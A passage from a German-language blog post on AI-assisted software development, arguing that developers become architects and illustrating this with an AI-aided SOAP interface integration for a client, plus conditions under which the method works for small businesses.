stimmt nur zum Teil. Wer keine Ahnung von Datenstrukturen, Frameworks und sauberer Architektur hat, kommt vielleicht zu einem Prototyp. Zu einem fertigen Produkt, das auch qualitativ haelt und im echten Betrieb nicht auseinanderfaellt? Eher nicht. ## Vom Coder zum Architekten Was sich wirklich aendert, ist nicht "Programmieren wird ueberfluessig". Es ist meine Rolle. Ich schreibe weniger Zeilen selbst und denke mehr ueber das Ganze nach: Struktur, Datenmodell, Edge-Cases, wo das System spaeter brechen koennte. Aus dem Coder wird ein Architekt. Ein Product Owner mit Vision, der die Uebersicht behaelt, die Kontrolle nicht abgibt und die KI als Werkzeug einsetzt, nicht als Ersatz fuer das eigene Denken. ## Ein Beispiel aus der Praxis: SOAP-Schnittstelle in Stunden statt Tagen Letzte Woche bei einem Kunden: eine SOAP-Schnittstelle anbinden, technologisch veraltet, zaeh zu dokumentieren. Frueher haette mich das Tage gekostet: Auth-Flow verstehen, Datenstrukturen durchgehen, jeden Endpunkt einzeln. Der Ablauf heute: 1. Die Dokumentation der Schnittstelle als Kontext an die KI geben. 2. Selbst die relevanten Endpunkte auswaehlen. 3. Selbst ueber die Edge-Cases nachdenken, die in keiner Doku stehen. 4. Coden lassen. 5. Testen, nachschaerfen, wieder testen. Stunden statt Tage. Aber, und das ist der Punkt: ich weiss nicht, wie das ausgegangen waere, haette ich noch nie selbst eine Schnittstelle programmiert. Genau dieses Erfahrungswissen lenkt die KI in die richtige Richtung und erkennt, wenn das Ergebnis nicht stimmt. ## Wann das funktioniert, und wann nicht **Es funktioniert, wenn:** * jemand mit Fachverstand die Richtung vorgibt und das Ergebnis beurteilen kann * es um klar umrissene Aufgaben geht (Schnittstellen, Automatisierungen, abgegrenzte Features) * jeder Schritt getestet und kontrolliert wird, statt blind zu vertrauen **Es funktioniert nicht, wenn:** * der Anspruch "ohne jede Vorkenntnis ein fertiges Produkt" ist * niemand die Architektur ueberblickt und Edge-Cases mitdenkt * die KI als Denkersatz statt als Werkzeug benutzt wird Der Unterschied zwischen Prototyp und Produkt liegt nicht im Tool. Er liegt in der Hand, die es fuehrt. ## Was das fuer kleine Unternehmen bedeutet KI im Coding-Kontext ist kein Spielzeug. Es ist Agentic Engineering, ein maechtiges Werkzeug in den richtigen Haenden. Den Hype darf man kritisieren. Die Methode dahinter zu ignorieren waere ein Fehler. Der praktische Effekt: Individualsoftware wird fuer kleine Unternehmen wieder leistbar. Loesungen, die frueher das Budget gesprengt haetten, weil sie Tage oder Wochen Handarbeit bedeutet haben, sind heute in einem Bruchteil der Zeit machbar. Welcher Prozess in deinem Unternehmen waere der erste Kandidat?